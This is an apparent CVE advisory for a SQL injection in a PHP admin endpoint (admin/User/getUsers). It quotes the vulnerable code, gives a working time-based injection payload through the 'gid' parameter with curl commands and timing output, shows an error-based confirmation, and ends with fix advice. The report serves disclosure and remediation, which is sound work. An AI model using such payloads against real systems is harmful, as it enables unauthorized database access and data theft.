CVE-ID:CVE-2026-71622

code location

app/controller/admin/User.php:114-127

$gid = $this->request->get('gid', 0);
$totalNum = (new AdminAuthGroupAccess())->where('find_in_set("' . $gid . '", `group_id`)')->count();
$sql = "SELECT au.* FROM admin_user as au LEFT JOIN admin_auth_group_access as aaga " .
    " ON aaga.`uid` = au.`id` WHERE find_in_set('{$gid}', aaga.`group_id`) " .
    " ORDER BY au.create_time DESC LIMIT{$start},{$limit}";
$userInfo = Db::query($sql);

gidNo integer conversion or parameter binding was performed; it was directly concatenated into the RAW WHERE clause and the native SQL.

Prerequisites

The attacker must be logged in to the backend and have permissions for admin/User/getUsers

Verification Process

curl.exe -s -o NUL -w "%{time_total}" `
  "<http://127.0.0.1:18080/admin/User/getUsers?gid=1&size=20&page=1>" `
  -H "Api-Auth: 2eb94b2255ed928f73e68160ec86336f"

time cost:

0.028028

time based sql injection payload:

curl.exe -s -o NUL -w "%{time_total}" `
  "<http://127.0.0.1:18080/admin/User/getUsers?size=20&page=1>" `
  -H "Api-Auth: 2eb94b2255ed928f73e68160ec86336f" `
  --get --data-urlencode "gid=999', aaga.group_id) OR SLEEP(3)-- "

time cost:

3.026023

Additional verification: Passing single quotes triggers an SQL error; the error page reveals that the actual SQL executed by Db::query() contains user input.

SELECT au.* FROM admin_user as au LEFT JOIN admin_auth_group_access as aaga
ON aaga.`uid` = au.`id` WHERE find_in_set(''', aaga.`group_id`)
ORDER BY au.create_time DESC LIMIT 0, 20

Fix Recommendations

  1. Cast gid to an integer: $gid = $this->request->get('gid/d', 0);
  2. Avoid constructing SQL queries using string concatenation; use parameter binding or ORM conditions instead.